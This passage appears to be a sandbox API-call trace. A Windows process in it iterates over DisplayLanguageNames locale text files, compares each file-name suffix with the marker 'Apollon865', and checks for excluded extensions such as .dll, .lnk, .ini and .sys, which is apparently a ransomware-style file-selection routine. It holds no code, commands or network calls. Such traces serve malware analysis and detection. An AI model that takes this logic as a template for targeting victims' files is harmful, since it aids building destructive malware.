	[0057.222] lstrlenW (lpString=".dll") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2=".dll") returned 1
	[0057.222] lstrlenW (lpString=".lnk") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2=".lnk") returned 1
	[0057.222] lstrlenW (lpString=".ini") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2=".ini") returned 1
	[0057.222] lstrlenW (lpString=".sys") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2=".sys") returned 1
	[0057.222] lstrlenW (lpString="DisplayLanguageNames.ar_SY.txt") returned 30
	[0057.222] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_TN.txt" | out: lpString1="DisplayLanguageNames.ar_TN.txt") returned="DisplayLanguageNames.ar_TN.txt"
	[0057.222] lstrlenW (lpString="DisplayLanguageNames.ar_TN.txt") returned 30
	[0057.223] lstrlenW (lpString="Apollon865") returned 10
	[0057.223] lstrcmpiW (lpString1=".ar_TN.txt", lpString2="Apollon865") returned -1
	[0057.223] lstrlenW (lpString=".dll") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2=".dll") returned 1
	[0057.223] lstrlenW (lpString=".lnk") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2=".lnk") returned 1
	[0057.223] lstrlenW (lpString=".ini") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2=".ini") returned 1
	[0057.223] lstrlenW (lpString=".sys") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2=".sys") returned 1
	[0057.223] lstrlenW (lpString="DisplayLanguageNames.ar_TN.txt") returned 30
	[0057.223] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_YE.txt" | out: lpString1="DisplayLanguageNames.ar_YE.txt") returned="DisplayLanguageNames.ar_YE.txt"
	[0057.223] lstrlenW (lpString="DisplayLanguageNames.ar_YE.txt") returned 30
	[0057.223] lstrlenW (lpString="Apollon865") returned 10
	[0057.223] lstrcmpiW (lpString1=".ar_YE.txt", lpString2="Apollon865") returned -1
	[0057.223] lstrlenW (lpString=".dll") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2=".dll") returned 1
	[0057.223] lstrlenW (lpString=".lnk") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2=".lnk") returned 1
	[0057.223] lstrlenW (lpString=".ini") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2=".ini") returned 1
	[0057.223] lstrlenW (lpString=".sys") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2=".sys") returned 1
	[0057.223] lstrlenW (lpString="DisplayLanguageNames.ar_YE.txt") returned 30
	[0057.223] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.bg.txt" | out: lpString1="DisplayLanguageNames.bg.txt") returned="DisplayLanguageNames.bg.txt"
	[0057.223] lstrlenW (lpString="DisplayLanguageNames.bg.txt") returned 27
	[0057.223] lstrlenW (lpString="Apollon865") returned 10
	[0057.223] lstrcmpiW (lpString1="mes.bg.txt", lpString2="Apollon865") returned 1
	[0057.223] lstrlenW (lpString=".dll") returned 4
	[0057.223] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2=".dll") returned 1
	[0057.224] lstrlenW (lpString=".lnk") returned 4
	[0057.224] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.bg_BG.txt" | out: lpString1="DisplayLanguageNames.bg_BG.txt") returned="DisplayLanguageNames.bg_BG.txt"
	[0057.224] lstrlenW (lpString="DisplayLanguageNames.bg_BG.txt") returned 30
	[0057.224] lstrlenW (lpString="Apollon865") returned 10
	[0057.224] lstrcmpiW (lpString1=".bg_BG.txt", lpString2="Apollon865") returned -1
	[0057.224] lstrlenW (lpString=".dll") returned 4
	[0057.224] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ca.txt" | out: lpString1="DisplayLanguageNames.ca.txt") returned="DisplayLanguageNames.ca.txt"
	[0057.224] lstrlenW (lpString="DisplayLanguageNames.ca.txt") returned 27
	[0057.224] lstrlenW (lpString="Apollon865") returned 10
	[0057.224] lstrcmpiW (lpString1="mes.ca.txt", lpString2="Apollon865") returned 1
	[0057.224] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ca_ES.txt" | out: lpString1="DisplayLanguageNames.ca_ES.txt") returned="DisplayLanguageNames.ca_ES.txt"
	[0057.224] lstrlenW (lpString="DisplayLanguageNames.ca_ES.txt") returned 30
	[0057.224] lstrlenW (lpString="Apollon865") returned 10
	[0057.224] lstrcmpiW (lpString1=".ca_ES.txt", lpString2="Apollon865") returned -1
	[0057.224] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ca_ES_PREEURO.txt" | out: lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt") returned="DisplayLanguageNames.ca_ES_PREEURO.txt"
	[0057.224] lstrlenW (lpString="DisplayLanguageNames.ca_ES_PREEURO.txt") returned 38
	[0057.224] lstrlenW (lpString="Apollon865") returned 10
	[0057.224] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.224] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.cs.txt" | out: lpString1="DisplayLanguageNames.cs.txt") returned="DisplayLanguageNames.cs.txt"
	[0057.224] lstrlenW (lpString="DisplayLanguageNames.cs.txt") returned 27
	[0057.224] lstrlenW (lpString="Apollon865") returned 10
	[0057.224] lstrcmpiW (lpString1="mes.cs.txt", lpString2="Apollon865") returned 1
	[0057.226] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.cs_CZ.txt" | out: lpString1="DisplayLanguageNames.cs_CZ.txt") returned="DisplayLanguageNames.cs_CZ.txt"
	[0057.226] lstrlenW (lpString="DisplayLanguageNames.cs_CZ.txt") returned 30
	[0057.226] lstrlenW (lpString="Apollon865") returned 10
	[0057.226] lstrcmpiW (lpString1=".cs_CZ.txt", lpString2="Apollon865") returned -1
	[0057.226] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.da.txt" | out: lpString1="DisplayLanguageNames.da.txt") returned="DisplayLanguageNames.da.txt"
	[0057.226] lstrlenW (lpString="DisplayLanguageNames.da.txt") returned 27
	[0057.226] lstrlenW (lpString="Apollon865") returned 10
	[0057.226] lstrcmpiW (lpString1="mes.da.txt", lpString2="Apollon865") returned 1
	[0057.226] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.da_DK.txt" | out: lpString1="DisplayLanguageNames.da_DK.txt") returned="DisplayLanguageNames.da_DK.txt"
	[0057.226] lstrlenW (lpString="DisplayLanguageNames.da_DK.txt") returned 30
	[0057.226] lstrlenW (lpString="Apollon865") returned 10
	[0057.227] lstrcmpiW (lpString1=".da_DK.txt", lpString2="Apollon865") returned -1
	[0057.227] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.de_CH.txt" | out: lpString1="DisplayLanguageNames.de_CH.txt") returned="DisplayLanguageNames.de_CH.txt"
	[0057.227] lstrlenW (lpString="DisplayLanguageNames.de_CH.txt") returned 30
	[0057.227] lstrlenW (lpString="Apollon865") returned 10
	[0057.227] lstrcmpiW (lpString1=".de_CH.txt", lpString2="Apollon865") returned -1
	[0057.227] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.de_DE.txt" | out: lpString1="DisplayLanguageNames.de_DE.txt") returned="DisplayLanguageNames.de_DE.txt"
	[0057.227] lstrlenW (lpString="DisplayLanguageNames.de_DE.txt") returned 30
	[0057.227] lstrlenW (lpString="Apollon865") returned 10
	[0057.227] lstrcmpiW (lpString1=".de_DE.txt", lpString2="Apollon865") returned -1
	[0057.227] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.de_DE_PREEURO.txt" | out: lpString1="DisplayLanguageNames.de_DE_PREEURO.txt") returned="DisplayLanguageNames.de_DE_PREEURO.txt"
	[0057.227] lstrlenW (lpString="DisplayLanguageNames.de_DE_PREEURO.txt") returned 38
	[0057.227] lstrlenW (lpString="Apollon865") returned 10
	[0057.227] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.227] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.el.txt" | out: lpString1="DisplayLanguageNames.el.txt") returned="DisplayLanguageNames.el.txt"
	[0057.227] lstrlenW (lpString="DisplayLanguageNames.el.txt") returned 27
	[0057.227] lstrlenW (lpString="Apollon865") returned 10
	[0057.227] lstrcmpiW (lpString1="mes.el.txt", lpString2="Apollon865") returned 1
	[0057.227] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.el_GR.txt" | out: lpString1="DisplayLanguageNames.el_GR.txt") returned="DisplayLanguageNames.el_GR.txt"
	[0057.227] lstrlenW (lpString="DisplayLanguageNames.el_GR.txt") returned 30
	[0057.227] lstrlenW (lpString="Apollon865") returned 10
	[0057.227] lstrcmpiW (lpString1=".el_GR.txt", lpString2="Apollon865") returned -1
	[0057.227] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.el_GR_PREEURO.txt" | out: lpString1="DisplayLanguageNames.el_GR_PREEURO.txt") returned="DisplayLanguageNames.el_GR_PREEURO.txt"
	[0057.228] lstrlenW (lpString="DisplayLanguageNames.el_GR_PREEURO.txt") returned 38
	[0057.228] lstrlenW (lpString="Apollon865") returned 10
	[0057.228] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.228] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.en_CA.txt" | out: lpString1="DisplayLanguageNames.en_CA.txt") returned="DisplayLanguageNames.en_CA.txt"
	[0057.228] lstrlenW (lpString="DisplayLanguageNames.en_CA.txt") returned 30
	[0057.228] lstrlenW (lpString="Apollon865") returned 10
	[0057.228] lstrcmpiW (lpString1=".en_CA.txt", lpString2="Apollon865") returned -1
	[0057.228] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.en_GB.txt" | out: lpString1="DisplayLanguageNames.en_GB.txt") returned="DisplayLanguageNames.en_GB.txt"
	[0057.228] lstrlenW (lpString="DisplayLanguageNames.en_GB.txt") returned 30
	[0057.228] lstrlenW (lpString="Apollon865") returned 10
	[0057.228] lstrcmpiW (lpString1=".en_GB.txt", lpString2="Apollon865") returned -1
	[0057.228] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.en_GB_EURO.txt" | out: lpString1="DisplayLanguageNames.en_GB_EURO.txt") returned="DisplayLanguageNames.en_GB_EURO.txt"
	[0057.228] lstrlenW (lpString="DisplayLanguageNames.en_GB_EURO.txt") returned 35
	[0057.228] lstrlenW (lpString="Apollon865") returned 10
	[0057.228] lstrcmpiW (lpString1="B_EURO.txt", lpString2="Apollon865") returned 1
	[0057.228] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.en_US.txt" | out: lpString1="DisplayLanguageNames.en_US.txt") returned="DisplayLanguageNames.en_US.txt"
	[0057.228] lstrlenW (lpString="DisplayLanguageNames.en_US.txt") returned 30
	[0057.228] lstrlenW (lpString="Apollon865") returned 10
	[0057.228] lstrcmpiW (lpString1=".en_US.txt", lpString2="Apollon865") returned -1
	[0057.228] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.en_US_POSIX.txt" | out: lpString1="DisplayLanguageNames.en_US_POSIX.txt") returned="DisplayLanguageNames.en_US_POSIX.txt"
	[0057.228] lstrlenW (lpString="DisplayLanguageNames.en_US_POSIX.txt") returned 36
	[0057.228] lstrlenW (lpString="Apollon865") returned 10
	[0057.228] lstrcmpiW (lpString1="_POSIX.txt", lpString2="Apollon865") returned -1
	[0057.229] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es.txt" | out: lpString1="DisplayLanguageNames.es.txt") returned="DisplayLanguageNames.es.txt"
	[0057.229] lstrlenW (lpString="DisplayLanguageNames.es.txt") returned 27
	[0057.229] lstrlenW (lpString="Apollon865") returned 10
	[0057.229] lstrcmpiW (lpString1="mes.es.txt", lpString2="Apollon865") returned 1
	[0057.229] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_AR.txt" | out: lpString1="DisplayLanguageNames.es_AR.txt") returned="DisplayLanguageNames.es_AR.txt"
	[0057.229] lstrlenW (lpString="DisplayLanguageNames.es_AR.txt") returned 30
	[0057.229] lstrlenW (lpString="Apollon865") returned 10
	[0057.229] lstrcmpiW (lpString1=".es_AR.txt", lpString2="Apollon865") returned -1
	[0057.229] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_BO.txt" | out: lpString1="DisplayLanguageNames.es_BO.txt") returned="DisplayLanguageNames.es_BO.txt"
	[0057.229] lstrlenW (lpString="DisplayLanguageNames.es_BO.txt") returned 30
	[0057.229] lstrlenW (lpString="Apollon865") returned 10
	[0057.229] lstrcmpiW (lpString1=".es_BO.txt", lpString2="Apollon865") returned -1
	[0057.229] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_CL.txt" | out: lpString1="DisplayLanguageNames.es_CL.txt") returned="DisplayLanguageNames.es_CL.txt"
	[0057.229] lstrlenW (lpString="DisplayLanguageNames.es_CL.txt") returned 30
	[0057.229] lstrlenW (lpString="Apollon865") returned 10
	[0057.229] lstrcmpiW (lpString1=".es_CL.txt", lpString2="Apollon865") returned -1
	[0057.229] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_CO.txt" | out: lpString1="DisplayLanguageNames.es_CO.txt") returned="DisplayLanguageNames.es_CO.txt"
	[0057.229] lstrlenW (lpString="DisplayLanguageNames.es_CO.txt") returned 30
	[0057.229] lstrlenW (lpString="Apollon865") returned 10
	[0057.229] lstrcmpiW (lpString1=".es_CO.txt", lpString2="Apollon865") returned -1
	[0057.229] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_CR.txt" | out: lpString1="DisplayLanguageNames.es_CR.txt") returned="DisplayLanguageNames.es_CR.txt"
	[0057.229] lstrlenW (lpString="DisplayLanguageNames.es_CR.txt") returned 30
	[0057.229] lstrlenW (lpString="Apollon865") returned 10
	[0057.229] lstrcmpiW (lpString1=".es_CR.txt", lpString2="Apollon865") returned -1
	[0057.230] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_DO.txt" | out: lpString1="DisplayLanguageNames.es_DO.txt") returned="DisplayLanguageNames.es_DO.txt"
	[0057.230] lstrlenW (lpString="DisplayLanguageNames.es_DO.txt") returned 30
	[0057.230] lstrlenW (lpString="Apollon865") returned 10
	[0057.230] lstrcmpiW (lpString1=".es_DO.txt", lpString2="Apollon865") returned -1
	[0057.230] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_EC.txt" | out: lpString1="DisplayLanguageNames.es_EC.txt") returned="DisplayLanguageNames.es_EC.txt"
	[0057.230] lstrlenW (lpString="DisplayLanguageNames.es_EC.txt") returned 30
	[0057.230] lstrlenW (lpString="Apollon865") returned 10
	[0057.230] lstrcmpiW (lpString1=".es_EC.txt", lpString2="Apollon865") returned -1
	[0057.230] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_ES.txt" | out: lpString1="DisplayLanguageNames.es_ES.txt") returned="DisplayLanguageNames.es_ES.txt"
	[0057.230] lstrlenW (lpString="DisplayLanguageNames.es_ES.txt") returned 30
	[0057.230] lstrlenW (lpString="Apollon865") returned 10
	[0057.230] lstrcmpiW (lpString1=".es_ES.txt", lpString2="Apollon865") returned -1
	[0057.230] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_ES_PREEURO.txt" | out: lpString1="DisplayLanguageNames.es_ES_PREEURO.txt") returned="DisplayLanguageNames.es_ES_PREEURO.txt"
	[0057.230] lstrlenW (lpString="DisplayLanguageNames.es_ES_PREEURO.txt") returned 38
	[0057.230] lstrlenW (lpString="Apollon865") returned 10
	[0057.230] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.230] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_GT.txt" | out: lpString1="DisplayLanguageNames.es_GT.txt") returned="DisplayLanguageNames.es_GT.txt"
	[0057.230] lstrlenW (lpString="DisplayLanguageNames.es_GT.txt") returned 30
	[0057.230] lstrlenW (lpString="Apollon865") returned 10
	[0057.230] lstrcmpiW (lpString1=".es_GT.txt", lpString2="Apollon865") returned -1
	[0057.303] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_HN.txt" | out: lpString1="DisplayLanguageNames.es_HN.txt") returned="DisplayLanguageNames.es_HN.txt"
	[0057.303] lstrlenW (lpString="DisplayLanguageNames.es_HN.txt") returned 30
	[0057.303] lstrlenW (lpString="Apollon865") returned 10
	[0057.303] lstrcmpiW (lpString1=".es_HN.txt", lpString2="Apollon865") returned -1
	[0057.303] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_MX.txt" | out: lpString1="DisplayLanguageNames.es_MX.txt") returned="DisplayLanguageNames.es_MX.txt"
	[0057.303] lstrlenW (lpString="DisplayLanguageNames.es_MX.txt") returned 30
	[0057.303] lstrlenW (lpString="Apollon865") returned 10
	[0057.303] lstrcmpiW (lpString1=".es_MX.txt", lpString2="Apollon865") returned -1
	[0057.304] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_NI.txt" | out: lpString1="DisplayLanguageNames.es_NI.txt") returned="DisplayLanguageNames.es_NI.txt"
	[0057.304] lstrlenW (lpString="DisplayLanguageNames.es_NI.txt") returned 30
	[0057.304] lstrlenW (lpString="Apollon865") returned 10
	[0057.304] lstrcmpiW (lpString1=".es_NI.txt", lpString2="Apollon865") returned -1
	[0057.304] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_PA.txt" | out: lpString1="DisplayLanguageNames.es_PA.txt") returned="DisplayLanguageNames.es_PA.txt"
	[0057.304] lstrlenW (lpString="DisplayLanguageNames.es_PA.txt") returned 30
	[0057.304] lstrlenW (lpString="Apollon865") returned 10
	[0057.304] lstrcmpiW (lpString1=".es_PA.txt", lpString2="Apollon865") returned -1
	[0057.304] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_PE.txt" | out: lpString1="DisplayLanguageNames.es_PE.txt") returned="DisplayLanguageNames.es_PE.txt"
	[0057.304] lstrlenW (lpString="DisplayLanguageNames.es_PE.txt") returned 30
	[0057.304] lstrlenW (lpString="Apollon865") returned 10
	[0057.304] lstrcmpiW (lpString1=".es_PE.txt", lpString2="Apollon865") returned -1
	[0057.304] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_PR.txt" | out: lpString1="DisplayLanguageNames.es_PR.txt") returned="DisplayLanguageNames.es_PR.txt"
	[0057.304] lstrlenW (lpString="DisplayLanguageNames.es_PR.txt") returned 30
	[0057.304] lstrlenW (lpString="Apollon865") returned 10
	[0057.304] lstrcmpiW (lpString1=".es_PR.txt", lpString2="Apollon865") returned -1
	[0057.304] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_PY.txt" | out: lpString1="DisplayLanguageNames.es_PY.txt") returned="DisplayLanguageNames.es_PY.txt"
	[0057.304] lstrlenW (lpString="DisplayLanguageNames.es_PY.txt") returned 30
	[0057.304] lstrlenW (lpString="Apollon865") returned 10
	[0057.304] lstrcmpiW (lpString1=".es_PY.txt", lpString2="Apollon865") returned -1
	[0057.304] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_SV.txt" | out: lpString1="DisplayLanguageNames.es_SV.txt") returned="DisplayLanguageNames.es_SV.txt"
	[0057.304] lstrlenW (lpString="DisplayLanguageNames.es_SV.txt") returned 30
	[0057.304] lstrlenW (lpString="Apollon865") returned 10
	[0057.304] lstrcmpiW (lpString1=".es_SV.txt", lpString2="Apollon865") returned -1
	[0057.305] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_US.txt" | out: lpString1="DisplayLanguageNames.es_US.txt") returned="DisplayLanguageNames.es_US.txt"
	[0057.305] lstrlenW (lpString="DisplayLanguageNames.es_US.txt") returned 30
	[0057.305] lstrlenW (lpString="Apollon865") returned 10
	[0057.305] lstrcmpiW (lpString1=".es_US.txt", lpString2="Apollon865") returned -1
	[0057.305] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_UY.txt" | out: lpString1="DisplayLanguageNames.es_UY.txt") returned="DisplayLanguageNames.es_UY.txt"
	[0057.305] lstrlenW (lpString="DisplayLanguageNames.es_UY.txt") returned 30
	[0057.305] lstrlenW (lpString="Apollon865") returned 10
	[0057.305] lstrcmpiW (lpString1=".es_UY.txt", lpString2="Apollon865") returned -1
	[0057.305] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es_VE.txt" | out: lpString1="DisplayLanguageNames.es_VE.txt") returned="DisplayLanguageNames.es_VE.txt"
	[0057.305] lstrlenW (lpString="DisplayLanguageNames.es_VE.txt") returned 30
	[0057.305] lstrlenW (lpString="Apollon865") returned 10
	[0057.305] lstrcmpiW (lpString1=".es_VE.txt", lpString2="Apollon865") returned -1
	[0057.305] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.es__TRADITIONAL.txt" | out: lpString1="DisplayLanguageNames.es__TRADITIONAL.txt") returned="DisplayLanguageNames.es__TRADITIONAL.txt"
	[0057.305] lstrlenW (lpString="DisplayLanguageNames.es__TRADITIONAL.txt") returned 40
	[0057.305] lstrlenW (lpString="Apollon865") returned 10
	[0057.305] lstrcmpiW (lpString1="TIONAL.txt", lpString2="Apollon865") returned 1
	[0057.305] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.et.txt" | out: lpString1="DisplayLanguageNames.et.txt") returned="DisplayLanguageNames.et.txt"
	[0057.305] lstrlenW (lpString="DisplayLanguageNames.et.txt") returned 27
	[0057.305] lstrlenW (lpString="Apollon865") returned 10
	[0057.305] lstrcmpiW (lpString1="mes.et.txt", lpString2="Apollon865") returned 1
	[0057.305] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.et_EE.txt" | out: lpString1="DisplayLanguageNames.et_EE.txt") returned="DisplayLanguageNames.et_EE.txt"
	[0057.305] lstrlenW (lpString="DisplayLanguageNames.et_EE.txt") returned 30
	[0057.305] lstrlenW (lpString="Apollon865") returned 10
	[0057.305] lstrcmpiW (lpString1=".et_EE.txt", lpString2="Apollon865") returned -1
	[0057.306] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.fi.txt" | out: lpString1="DisplayLanguageNames.fi.txt") returned="DisplayLanguageNames.fi.txt"
	[0057.306] lstrlenW (lpString="DisplayLanguageNames.fi.txt") returned 27
	[0057.306] lstrlenW (lpString="Apollon865") returned 10
	[0057.306] lstrcmpiW (lpString1="mes.fi.txt", lpString2="Apollon865") returned 1
	[0057.306] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.fi_FI.txt" | out: lpString1="DisplayLanguageNames.fi_FI.txt") returned="DisplayLanguageNames.fi_FI.txt"
	[0057.306] lstrlenW (lpString="DisplayLanguageNames.fi_FI.txt") returned 30
	[0057.306] lstrlenW (lpString="Apollon865") returned 10
	[0057.306] lstrcmpiW (lpString1=".fi_FI.txt", lpString2="Apollon865") returned -1
	[0057.306] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.fi_FI_PREEURO.txt" | out: lpString1="DisplayLanguageNames.fi_FI_PREEURO.txt") returned="DisplayLanguageNames.fi_FI_PREEURO.txt"
	[0057.306] lstrlenW (lpString="DisplayLanguageNames.fi_FI_PREEURO.txt") returned 38
	[0057.306] lstrlenW (lpString="Apollon865") returned 10
	[0057.306] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.306] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.fr_CA.txt" | out: lpString1="DisplayLanguageNames.fr_CA.txt") returned="DisplayLanguageNames.fr_CA.txt"
	[0057.306] lstrlenW (lpString="DisplayLanguageNames.fr_CA.txt") returned 30
	[0057.306] lstrlenW (lpString="Apollon865") returned 10
	[0057.306] lstrcmpiW (lpString1=".fr_CA.txt", lpString2="Apollon865") returned -1
	[0057.306] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.fr_FR.txt" | out: lpString1="DisplayLanguageNames.fr_FR.txt") returned="DisplayLanguageNames.fr_FR.txt"
	[0057.306] lstrlenW (lpString="DisplayLanguageNames.fr_FR.txt") returned 30
	[0057.306] lstrlenW (lpString="Apollon865") returned 10
	[0057.306] lstrcmpiW (lpString1=".fr_FR.txt", lpString2="Apollon865") returned -1
	[0057.306] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.fr_FR_PREEURO.txt" | out: lpString1="DisplayLanguageNames.fr_FR_PREEURO.txt") returned="DisplayLanguageNames.fr_FR_PREEURO.txt"
	[0057.306] lstrlenW (lpString="DisplayLanguageNames.fr_FR_PREEURO.txt") returned 38
	[0057.306] lstrlenW (lpString="Apollon865") returned 10
	[0057.306] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.307] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.he.txt" | out: lpString1="DisplayLanguageNames.he.txt") returned="DisplayLanguageNames.he.txt"
	[0057.307] lstrlenW (lpString="DisplayLanguageNames.he.txt") returned 27
	[0057.307] lstrlenW (lpString="Apollon865") returned 10
	[0057.307] lstrcmpiW (lpString1="mes.he.txt", lpString2="Apollon865") returned 1
	[0057.307] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.he_IL.txt" | out: lpString1="DisplayLanguageNames.he_IL.txt") returned="DisplayLanguageNames.he_IL.txt"
	[0057.307] lstrlenW (lpString="DisplayLanguageNames.he_IL.txt") returned 30
	[0057.307] lstrlenW (lpString="Apollon865") returned 10
	[0057.307] lstrcmpiW (lpString1=".he_IL.txt", lpString2="Apollon865") returned -1
	[0057.307] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.hr.txt" | out: lpString1="DisplayLanguageNames.hr.txt") returned="DisplayLanguageNames.hr.txt"
	[0057.307] lstrlenW (lpString="DisplayLanguageNames.hr.txt") returned 27
	[0057.307] lstrlenW (lpString="Apollon865") returned 10
	[0057.307] lstrcmpiW (lpString1="mes.hr.txt", lpString2="Apollon865") returned 1
	[0057.307] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.hr_HR.txt" | out: lpString1="DisplayLanguageNames.hr_HR.txt") returned="DisplayLanguageNames.hr_HR.txt"
	[0057.307] lstrlenW (lpString="DisplayLanguageNames.hr_HR.txt") returned 30
	[0057.307] lstrlenW (lpString="Apollon865") returned 10
	[0057.307] lstrcmpiW (lpString1=".hr_HR.txt", lpString2="Apollon865") returned -1
	[0057.307] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.hu.txt" | out: lpString1="DisplayLanguageNames.hu.txt") returned="DisplayLanguageNames.hu.txt"
	[0057.307] lstrlenW (lpString="DisplayLanguageNames.hu.txt") returned 27
	[0057.307] lstrlenW (lpString="Apollon865") returned 10
	[0057.307] lstrcmpiW (lpString1="mes.hu.txt", lpString2="Apollon865") returned 1
	[0057.308] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.hu_HU.txt" | out: lpString1="DisplayLanguageNames.hu_HU.txt") returned="DisplayLanguageNames.hu_HU.txt"
	[0057.308] lstrlenW (lpString="DisplayLanguageNames.hu_HU.txt") returned 30
	[0057.308] lstrlenW (lpString="Apollon865") returned 10
	[0057.308] lstrcmpiW (lpString1=".hu_HU.txt", lpString2="Apollon865") returned -1
	[0057.308] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.it.txt" | out: lpString1="DisplayLanguageNames.it.txt") returned="DisplayLanguageNames.it.txt"
	[0057.308] lstrlenW (lpString="DisplayLanguageNames.it.txt") returned 27
	[0057.308] lstrlenW (lpString="Apollon865") returned 10
	[0057.308] lstrcmpiW (lpString1="mes.it.txt", lpString2="Apollon865") returned 1
	[0057.308] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.it_CH.txt" | out: lpString1="DisplayLanguageNames.it_CH.txt") returned="DisplayLanguageNames.it_CH.txt"
	[0057.308] lstrlenW (lpString="DisplayLanguageNames.it_CH.txt") returned 30
	[0057.308] lstrlenW (lpString="Apollon865") returned 10
	[0057.308] lstrcmpiW (lpString1=".it_CH.txt", lpString2="Apollon865") returned -1
